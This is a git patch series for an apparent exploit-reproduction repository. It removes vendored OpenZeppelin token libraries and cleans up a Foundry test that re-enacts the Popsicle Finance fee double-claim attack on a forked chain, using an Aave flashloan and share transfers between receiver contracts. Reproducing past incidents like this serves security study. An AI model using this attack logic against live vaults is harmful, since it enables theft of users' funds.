owned by `account`. - */ - function balanceOf(address account) external view returns (uint256); - - /** - * @dev Moves a `value` amount of tokens from the caller's account to `to`. - * - * Returns a boolean value indicating whether the operation succeeded. - * - * Emits a {Transfer} event. - */ - function transfer(address to, uint256 value) external returns (bool); - - /** - * @dev Returns the remaining number of tokens that `spender` will be - * allowed to spend on behalf of `owner` through {transferFrom}. This is - * zero by default. - * - * This value changes when {approve} or {transferFrom} are called. - */ - function allowance(address owner, address spender) external view returns (uint256); - - /** - * @dev Sets a `value` amount of tokens as the allowance of `spender` over the - * caller's tokens. - * - * Returns a boolean value indicating whether the operation succeeded. - * - * IMPORTANT: Beware that changing an allowance with this method brings the risk - * that someone may use both the old and the new allowance by unfortunate - * transaction ordering. One possible solution to mitigate this race - * condition is to first reduce the spender's allowance to 0 and set the - * desired value afterwards: - * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 - * - * Emits an {Approval} event. - */ - function approve(address spender, uint256 value) external returns (bool); - - /** - * @dev Moves a `value` amount of tokens from `from` to `to` using the - * allowance mechanism. `value` is then deducted from the caller's - * allowance. - * - * Returns a boolean value indicating whether the operation succeeded. - * - * Emits a {Transfer} event. - */ - function transferFrom(address from, address to, uint256 value) external returns (bool); - function decimals() external view returns (uint8); - function name() external view returns (string memory); - - -} \ No newline at end of file diff --git a/src/test/OpenZeppelinLibs/SafeERC20.sol b/src/test/OpenZeppelinLibs/SafeERC20.sol deleted file mode 100644 index 6c2422a9..00000000 --- a/src/test/OpenZeppelinLibs/SafeERC20.sol +++ /dev/null @@ -1,173 +0,0 @@ -// SPDX-License-Identifier: MIT -// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/utils/SafeERC20.sol) - -pragma solidity ^0.8.20; - -import {IERC20} from "./IERC20.sol"; -import {IERC1363} from "./IERC1363.sol"; -import {Address} from "./Address.sol"; - -/** - * @title SafeERC20 - * @dev Wrappers around ERC-20 operations that throw on failure (when the token - * contract returns false). Tokens that return no value (and instead revert or - * throw on failure) are also supported, non-reverting calls are assumed to be - * successful. - * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, - * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. - */ -library SafeERC20 { - using Address for address; - - /** - * @dev An operation with an ERC-20 token failed. - */ - error SafeERC20FailedOperation(address token); - - /** - * @dev Indicates a failed `decreaseAllowance` request. - */ - error SafeERC20FailedDecreaseAllowance(address spender, uint256 currentAllowance, uint256 requestedDecrease); - - /** - * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value, - * non-reverting calls are assumed to be successful. - */ - function safeTransfer(IERC20 token, address to, uint256 value) internal { - _callOptionalReturn(token, abi.encodeCall(token.transfer, (to, value))); - } - - /** - * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the - * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful. - */ - function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { - _callOptionalReturn(token, abi.encodeCall(token.transferFrom, (from, to, value))); - } - - /** - * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value, - * non-reverting calls are assumed to be successful. - */ - function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { - uint256 oldAllowance = token.allowance(address(this), spender); - forceApprove(token, spender, oldAllowance + value); - } - - /** - * @dev Decrease the calling contract's allowance toward `spender` by `requestedDecrease`. If `token` returns no - * value, non-reverting calls are assumed to be successful. - */ - function safeDecreaseAllowance(IERC20 token, address spender, uint256 requestedDecrease) internal { - unchecked { - uint256 currentAllowance = token.allowance(address(this), spender); - if (currentAllowance < requestedDecrease) { - revert SafeERC20FailedDecreaseAllowance(spender, currentAllowance, requestedDecrease); - } - forceApprove(token, spender, currentAllowance - requestedDecrease); - } - } - - /** - * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value, - * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval - * to be set to zero before setting it to a non-zero value, such as USDT. - */ - function forceApprove(IERC20 token, address spender, uint256 value) internal { - bytes memory approvalCall = abi.encodeCall(token.approve, (spender, value)); - - if (!_callOptionalReturnBool(token, approvalCall)) { - _callOptionalReturn(token, abi.encodeCall(token.approve, (spender, 0))); - _callOptionalReturn(token, approvalCall); - } - } - - /** - * @dev Performs an {ERC1363} transferAndCall, with a fallback to the simple {ERC20} transfer if the target has no - * code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when - * targeting contracts. - * - * Reverts if the returned value is other than `true`. - */ - function transferAndCallRelaxed(IERC1363 token, address to, uint256 value, bytes memory data) internal { - if (to.code.length == 0) { - safeTransfer(token, to, value); - } else if (!token.transferAndCall(to, value, data)) { - revert SafeERC20FailedOperation(address(token)); - } - } - - /** - * @dev Performs an {ERC1363} transferFromAndCall, with a fallback to the simple {ERC20} transferFrom if the target - * has no code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when - * targeting contracts. - * - * Reverts if the returned value is other than `true`. - */ - function transferFromAndCallRelaxed( - IERC1363 token, - address from, - address to, - uint256 value, - bytes memory data - ) internal { - if (to.code.length == 0) { - safeTransferFrom(token, from, to, value); - } else if (!token.transferFromAndCall(from, to, value, data)) { - revert SafeERC20FailedOperation(address(token)); - } - } - - /** - * @dev Performs an {ERC1363} approveAndCall, with a fallback to the simple {ERC20} approve if the target has no - * code. This can be used to implement an {ERC721}-like safe transfer that rely on {ERC1363} checks when - * targeting contracts. - * - * NOTE: When the recipient address (`to`) has no code (i.e. is an EOA), this function behaves as {forceApprove}. - * Opposedly, when the recipient address (`to`) has code, this function only attempts to call {ERC1363-approveAndCall} - * once without retrying, and relies on the returned value to be true. - * - * Reverts if the returned value is other than `true`. - */ - function approveAndCallRelaxed(IERC1363 token, address to, uint256 value, bytes memory data) internal { - if (to.code.length == 0) { - forceApprove(token, to, value); - } else if (!token.approveAndCall(to, value, data)) { - revert SafeERC20FailedOperation(address(token)); - } - } - - /** - * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement - * on the return value: the return value is optional (but if data is returned, it must not be false). - * @param token The token targeted by the call. - * @param data The call data (encoded using abi.encode or one of its variants). - */ - function _callOptionalReturn(IERC20 token, bytes memory data) private { - // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since - // we're implementing it ourselves. We use {Address-functionCall} to perform this call, which verifies that - // the target address contains contract code and also asserts for success in the low-level call. - - bytes memory returndata = address(token).functionCall(data); - if (returndata.length != 0 && !abi.decode(returndata, (bool))) { - revert SafeERC20FailedOperation(address(token)); - } - } - - /** - * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement - * on the return value: the return value is optional (but if data is returned, it must not be false). - * @param token The token targeted by the call. - * @param data The call data (encoded using abi.encode or one of its variants). - * - * This is a variant of {_callOptionalReturn} that silents catches all reverts and returns a bool instead. - */ - function _callOptionalReturnBool(IERC20 token, bytes memory data) private returns (bool) { - // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since - // we're implementing it ourselves. We cannot use {Address-functionCall} here since this should return false - // and not revert is the subcall reverts. - - (bool success, bytes memory returndata) = address(token).call(data); - return success && (returndata.length == 0 || abi.decode(returndata, (bool))) && address(token).code.length > 0; - } -} \ No newline at end of file diff --git a/src/test/Popsicle_exp.sol b/src/test/Popsicle_exp.sol index 666c4d4c..fa728581 100644 --- a/src/test/Popsicle_exp.sol +++ b/src/test/Popsicle_exp.sol @@ -2,7 +2,7 @@ pragma solidity ^0.8.10; import "forge-std/Test.sol"; -import "./OpenZeppelinLibs/SafeERC20.sol"; +import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; interface IUniswapV2Router { function WETH() external view returns (address); @@ -313,14 +313,19 @@ interface IAaveFlashloan { uint16 referralCode ) external; } + +interface IERC20X is IERC20 { + function decimals() external view returns (uint8); + function name() external view returns (string memory); +} // Simple contract which transfers tokens to an address contract TokenVault { - using SafeERC20 for IERC20; + using SafeERC20 for IERC20X; function transfer(address _asset, address _to) external { - uint256 bal = IERC20(_asset).balanceOf(address(this)); - if (bal > 0) IERC20(_asset).safeTransfer(_to, bal); + uint256 bal = IERC20X(_asset).balanceOf(address(this)); + if (bal > 0) IERC20X(_asset).safeTransfer(_to, bal); else console.log("no bal"); } @@ -344,7 +349,7 @@ contract TokenVault { // Hacking God : https://twitter.com/BlockSecTeam/status/1422786223156776968 contract PopsicleExp is Test { - using SafeERC20 for IERC20; + using SafeERC20 for IERC20X; IAaveFlashloan aaveV2 = IAaveFlashloan(0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9); @@ -373,12 +378,12 @@ contract PopsicleExp is Test { uint256[] amountsArr; uint256[] modesArr; - IERC20 usdt = IERC20(_usdt); - IERC20 weth = IERC20(_weth); - IERC20 wbtc = IERC20(_wbtc); - IERC20 usdc = IERC20(_usdc); - IERC20 dai = IERC20(_dai); - IERC20 uni = IERC20(_uni); + IERC20X usdt = IERC20X(_usdt); + IERC20X weth = IERC20X(_weth); + IERC20X wbtc = IERC20X(_wbtc); + IERC20X usdc = IERC20X(_usdc); + IERC20X dai = IERC20X(_dai); + IERC20X uni = IERC20X(_uni); IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); @@ -409,7 +414,7 @@ contract PopsicleExp is Test { } function approveToTarget(address asset, address _target) internal { - IERC20(asset).forceApprove(_target, type(uint256).max); + IERC20X(asset).forceApprove(_target, type(uint256).max); } function _logBalances(string memory message) internal { @@ -425,7 +430,7 @@ contract PopsicleExp is Test { } function _logTokenBal(address asset) internal view returns (uint256) { - return IERC20(asset).balanceOf(address(this)); + return IERC20X(asset).balanceOf(address(this)); } function approveFunds() internal { @@ -479,8 +484,10 @@ contract PopsicleExp is Test { block.timestamp ); } else { - emit log_named_decimal_uint("Profit ", (bal - (amounts[i] + premiums[i])), IERC20(assets[i]).decimals()); - console.log(" for asset ", IERC20(assets[i]).name()); + emit log_named_decimal_uint( + "Profit ", (bal - (amounts[i] + premiums[i])), IERC20X(assets[i]).decimals() + ); + console.log(" for asset ", IERC20X(assets[i]).name()); } } return true; @@ -492,10 +499,10 @@ contract PopsicleExp is Test { for (uint256 i = 0; i < vaultsArr.length; i++) { //Approve funds for vault IPopsicle vault = IPopsicle(vaultsArr[i]); - IERC20(vault.token0()).forceApprove(vaultsArr[i], type(uint256).max); - IERC20(vault.token1()).forceApprove(vaultsArr[i], type(uint256).max); + IERC20X(vault.token0()).forceApprove(vaultsArr[i], type(uint256).max); + IERC20X(vault.token1()).forceApprove(vaultsArr[i], type(uint256).max); vault.deposit( - IERC20(vault.token0()).balanceOf(address(this)), IERC20(vault.token1()).balanceOf(address(this)) + IERC20X(vault.token0()).balanceOf(address(this)), IERC20X(vault.token1()).balanceOf(address(this)) ); drainVault(vaultsArr[i]); } @@ -535,8 +542,8 @@ contract PopsicleExp is Test { ); console.log("claimed recievcer1 fees success"); (uint256 token0feesr2, uint256 token1feesr2) = ( - IERC20(address(IPopsicle(_vault).token0())).balanceOf(_vault), - IERC20(address(IPopsicle(_vault).token1())).balanceOf(_vault) + IERC20X(address(IPopsicle(_vault).token0())).balanceOf(_vault), + IERC20X(address(IPopsicle(_vault).token1())).balanceOf(_vault) ); receiver2.executeCall( @@ -551,7 +558,7 @@ contract PopsicleExp is Test { function transferAround(address _vault) internal { console.log("entered transferaround"); - IERC20 asset = IERC20(_vault); + IERC20X asset = IERC20X(_vault); uint256 bal = asset.balanceOf(address(this)); IPopsicle(_vault).collectFees(0, 0); asset.transfer(address(receiver1), bal); From 1496d748341d27f2747f6f1397b0ba9b6fce22aa Mon Sep 17 00:00:00 2001 From: akshaynexus Date: Sun, 24 Mar 2024 02:54:48 +0300 Subject: [PATCH 8/8] fix: cleanup code and remove extra code --- src/test/Popsicle_exp.sol | 335 +------------------------------------- 1 file changed, 7 insertions(+), 328 deletions(-) diff --git a/src/test/Popsicle_exp.sol b/src/test/Popsicle_exp.sol index fa728581..e5f060d1 100644 --- a/src/test/Popsicle_exp.sol +++ b/src/test/Popsicle_exp.sol @@ -4,301 +4,27 @@ pragma solidity ^0.8.10; import "forge-std/Test.sol"; import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; -interface IUniswapV2Router { - function WETH() external view returns (address); - - function addLiquidity( - address tokenA, - address tokenB, - uint256 amountADesired, - uint256 amountBDesired, - uint256 amountAMin, - uint256 amountBMin, - address to, - uint256 deadline - ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity); - - function addLiquidityETH( - address token, - uint256 amountTokenDesired, - uint256 amountTokenMin, - uint256 amountETHMin, - address to, - uint256 deadline - ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); - - function factory() external view returns (address); - - function getAmountIn( - uint256 amountOut, - uint256 reserveIn, - uint256 reserveOut - ) external pure returns (uint256 amountIn); - - function getAmountOut( - uint256 amountIn, - uint256 reserveIn, - uint256 reserveOut - ) external pure returns (uint256 amountOut); - - function getAmountsIn(uint256 amountOut, address[] memory path) external view returns (uint256[] memory amounts); - - function getAmountsOut(uint256 amountIn, address[] memory path) external view returns (uint256[] memory amounts); - - function quote(uint256 amountA, uint256 reserveA, uint256 reserveB) external pure returns (uint256 amountB); - - function removeLiquidity( - address tokenA, - address tokenB, - uint256 liquidity, - uint256 amountAMin, - uint256 amountBMin, - address to, - uint256 deadline - ) external returns (uint256 amountA, uint256 amountB); - - function removeLiquidityETH( - address token, - uint256 liquidity, - uint256 amountTokenMin, - uint256 amountETHMin, - address to, - uint256 deadline - ) external returns (uint256 amountToken, uint256 amountETH); - - function removeLiquidityETHSupportingFeeOnTransferTokens( - address token, - uint256 liquidity, - uint256 amountTokenMin, - uint256 amountETHMin, - address to, - uint256 deadline - ) external returns (uint256 amountETH); - - function removeLiquidityETHWithPermit( - address token, - uint256 liquidity, - uint256 amountTokenMin, - uint256 amountETHMin, - address to, - uint256 deadline, - bool approveMax, - uint8 v, - bytes32 r, - bytes32 s - ) external returns (uint256 amountToken, uint256 amountETH); - - function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( - address token, - uint256 liquidity, - uint256 amountTokenMin, - uint256 amountETHMin, - address to, - uint256 deadline, - bool approveMax, - uint8 v, - bytes32 r, - bytes32 s - ) external returns (uint256 amountETH); - - function removeLiquidityWithPermit( - address tokenA, - address tokenB, - uint256 liquidity, - uint256 amountAMin, - uint256 amountBMin, - address to, - uint256 deadline, - bool approveMax, - uint8 v, - bytes32 r, - bytes32 s - ) external returns (uint256 amountA, uint256 amountB); - - function swapETHForExactTokens( - uint256 amountOut, - address[] memory path, - address to, - uint256 deadline - ) external payable returns (uint256[] memory amounts); - - function swapExactETHForTokens( - uint256 amountOutMin, - address[] memory path, - address to, - uint256 deadline - ) external payable returns (uint256[] memory amounts); - - function swapExactETHForTokensSupportingFeeOnTransferTokens( - uint256 amountOutMin, - address[] memory path, - address to, - uint256 deadline - ) external payable; - - function swapExactTokensForETH( - uint256 amountIn, - uint256 amountOutMin, - address[] memory path, - address to, - uint256 deadline - ) external returns (uint256[] memory amounts); - - function swapExactTokensForETHSupportingFeeOnTransferTokens( - uint256 amountIn, - uint256 amountOutMin, - address[] memory path, - address to, - uint256 deadline - ) external; - - function swapExactTokensForTokens( - uint256 amountIn, - uint256 amountOutMin, - address[] memory path, - address to, - uint256 deadline - ) external returns (uint256[] memory amounts); - - function swapExactTokensForTokensSupportingFeeOnTransferTokens( - uint256 amountIn, - uint256 amountOutMin, - address[] memory path, - address to, - uint256 deadline - ) external; - - function swapTokensForExactETH( - uint256 amountOut, - uint256 amountInMax, - address[] memory path, - address to, - uint256 deadline - ) external returns (uint256[] memory amounts); - - function swapTokensForExactTokens( - uint256 amountOut, - uint256 amountInMax, - address[] memory path, - address to, - uint256 deadline - ) external returns (uint256[] memory amounts); - - receive() external payable; -} - interface IPopsicle { - function DOMAIN_SEPARATOR() external view returns (bytes32); - - function acceptGovernance() external; - - function accruedProtocolFees0() external view returns (uint256); - - function accruedProtocolFees1() external view returns (uint256); - - function allowance(address owner, address spender) external view returns (uint256); - - function approve(address spender, uint256 amount) external returns (bool); - function balanceOf(address account) external view returns (uint256); function collectFees(uint256 amount0, uint256 amount1) external; - function collectProtocolFees(uint256 amount0, uint256 amount1) external; - - function decimals() external view returns (uint8); - - function decreaseAllowance(address spender, uint256 subtractedValue) external returns (bool); - function deposit( uint256 amount0Desired, uint256 amount1Desired ) external payable returns (uint256 shares, uint256 amount0, uint256 amount1); - function finalized() external view returns (bool); - - function governance() external view returns (address); - - function increaseAllowance(address spender, uint256 addedValue) external returns (bool); - - function init() external; - - function name() external view returns (string memory); - - function nonces(address owner) external view returns (uint256); - - function pendingGovernance() external view returns (address); - - function permit( - address owner, - address spender, - uint256 value, - uint256 deadline, - uint8 v, - bytes32 r, - bytes32 s - ) external; - - function pool() external view returns (address); - - function position() - external - view - returns ( - uint128 liquidity, - uint256 feeGrowthInside0LastX128, - uint256 feeGrowthInside1LastX128, - uint128 tokensOwed0, - uint128 tokensOwed1 - ); - - function rebalance() external; - - function rerange() external; - - function setGovernance(address _governance) external; - - function setStrategy(address _strategy) external; - - function strategy() external view returns (address); - function symbol() external view returns (string memory); - function tickLower() external view returns (int24); - - function tickSpacing() external view returns (int24); - - function tickUpper() external view returns (int24); - function token0() external view returns (address); - function token0PerShareStored() external view returns (uint256); - function token1() external view returns (address); - function token1PerShareStored() external view returns (uint256); - - function totalSupply() external view returns (uint256); - - function transfer(address recipient, uint256 amount) external returns (bool); - - function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); - - function uniswapV3MintCallback(uint256 amount0, uint256 amount1, bytes memory data) external; - - function uniswapV3SwapCallback(int256 amount0, int256 amount1, bytes memory _data) external; - function userInfo(address) external view returns (uint256 token0Rewards, uint256 token1Rewards, uint256 token0PerSharePaid, uint256 token1PerSharePaid); - function usersFees0() external view returns (uint256); - - function usersFees1() external view returns (uint256); - - function weth() external view returns (address); - function withdraw(uint256 shares) external returns (uint256 amount0, uint256 amount1); } @@ -326,7 +52,6 @@ contract TokenVault { function transfer(address _asset, address _to) external { uint256 bal = IERC20X(_asset).balanceOf(address(this)); if (bal > 0) IERC20X(_asset).safeTransfer(_to, bal); - else console.log("no bal"); } function executeCall(address target, bytes calldata dataTocall) external returns (bool succ) { @@ -385,8 +110,6 @@ contract PopsicleExp is Test { IERC20X dai = IERC20X(_dai); IERC20X uni = IERC20X(_uni); - IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D)); - function setUp() public { vm.createSelectFork("mainnet", 12_955_000); //fork gnosis at block number 21120319 @@ -433,26 +156,12 @@ contract PopsicleExp is Test { return IERC20X(asset).balanceOf(address(this)); } - function approveFunds() internal { - //Approve funds to be taken back after flashloan - approveToTargetAll(address(aaveV2)); - - approveToTarget(_weth, address(router)); - } - function testExploit() public { _logBalances("Before attack"); - //Flashloan here aaveV2.flashLoan(address(this), assetsArr, amountsArr, modesArr, address(this), new bytes(0), 0); _logBalances("After attack"); } - function getPath(address _in, address _out) internal returns (address[] memory path) { - path = new address[](2); - path[0] = _in; - path[1] = _out; - } - function executeOperation( address[] calldata assets, uint256[] calldata amounts, @@ -461,41 +170,17 @@ contract PopsicleExp is Test { bytes calldata params ) external payable returns (bool) { attackLogic(); - //Check we are in profit on each asset for (uint256 i = 0; i < assets.length; i++) { uint256 bal = _logTokenBal(assets[i]); - uint256 missingAmt = bal >= (amounts[i] + premiums[i]) ? 0 : (amounts[i] + premiums[i]) - bal; - address asset = assets[i]; - if (missingAmt > 0) { - if (missingAmt == premiums[i]) { - console.log("we are missing a premium of %d for asset %d", missingAmt, i); - } else if (missingAmt > premiums[i]) { - console.log("we are missing tokens itself for %d", i); - } else if (missingAmt != premiums[i]) { - console.log("missing %d asset of %d", missingAmt, i); - } - //We just swap,figure out why we are less here,maybe flashloan fees put us lower? - router.swapExactTokensForTokens( - router.getAmountsIn(missingAmt, getPath(_weth, asset))[0], - 0, - getPath(_weth, asset), - address(this), - block.timestamp - ); - } else { - emit log_named_decimal_uint( - "Profit ", (bal - (amounts[i] + premiums[i])), IERC20X(assets[i]).decimals() - ); - console.log(" for asset ", IERC20X(assets[i]).name()); - } + emit log_named_decimal_uint("Profit ", (bal - (amounts[i] + premiums[i])), IERC20X(assets[i]).decimals()); + console.log(" for asset ", IERC20X(assets[i]).name()); } + approveToTargetAll(address(aaveV2)); return true; } - //This should be called on executeoperation on a aave v2 flashloan function attackLogic() internal { - approveFunds(); for (uint256 i = 0; i < vaultsArr.length; i++) { //Approve funds for vault IPopsicle vault = IPopsicle(vaultsArr[i]); @@ -506,7 +191,6 @@ contract PopsicleExp is Test { ); drainVault(vaultsArr[i]); } - claimFundsFromReceivers(); } @@ -530,17 +214,13 @@ contract PopsicleExp is Test { function claimFees(address _vault) internal { (uint256 token0fees, uint256 token1fees,,) = IPopsicle(_vault).userInfo(address(this)); - //Collect fees - IPopsicle(_vault).collectFees(token0fees, token1fees); IPopsicle(_vault).withdraw(IPopsicle(_vault).balanceOf(address(this))); (uint256 token0feesr1, uint256 token1feesr1,,) = IPopsicle(_vault).userInfo(address(receiver1)); - console.log("claimed initial fees success"); receiver1.executeCall( _vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, token0feesr1, token1feesr1) ); - console.log("claimed recievcer1 fees success"); (uint256 token0feesr2, uint256 token1feesr2) = ( IERC20X(address(IPopsicle(_vault).token0())).balanceOf(_vault), IERC20X(address(IPopsicle(_vault).token1())).balanceOf(_vault) @@ -549,25 +229,24 @@ contract PopsicleExp is Test { receiver2.executeCall( _vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, token0feesr2, token1feesr2) ); - console.log("claimed recievcer2 fees success"); - console.log("Self - Token0 Fees:", token0fees, "Token1 Fees:", token1fees); console.log("Receiver1 - Token0 Fees:", token0feesr1, "Token1 Fees:", token1feesr1); console.log("Receiver2 - Token0 Fees:", token0feesr2, "Token1 Fees:", token1feesr2); } function transferAround(address _vault) internal { - console.log("entered transferaround"); IERC20X asset = IERC20X(_vault); + uint256 bal = asset.balanceOf(address(this)); IPopsicle(_vault).collectFees(0, 0); + asset.transfer(address(receiver1), bal); receiver1.executeCall(_vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, 0, 0)); receiver1.transfer(_vault, address(receiver2)); + receiver2.executeCall(_vault, abi.encodeWithSelector(IPopsicle.collectFees.selector, 0, 0)); receiver2.transfer(_vault, address(this)); - IPopsicle(_vault).collectFees(0, 0); - console.log("finished transferaround"); + IPopsicle(_vault).collectFees(0, 0); } }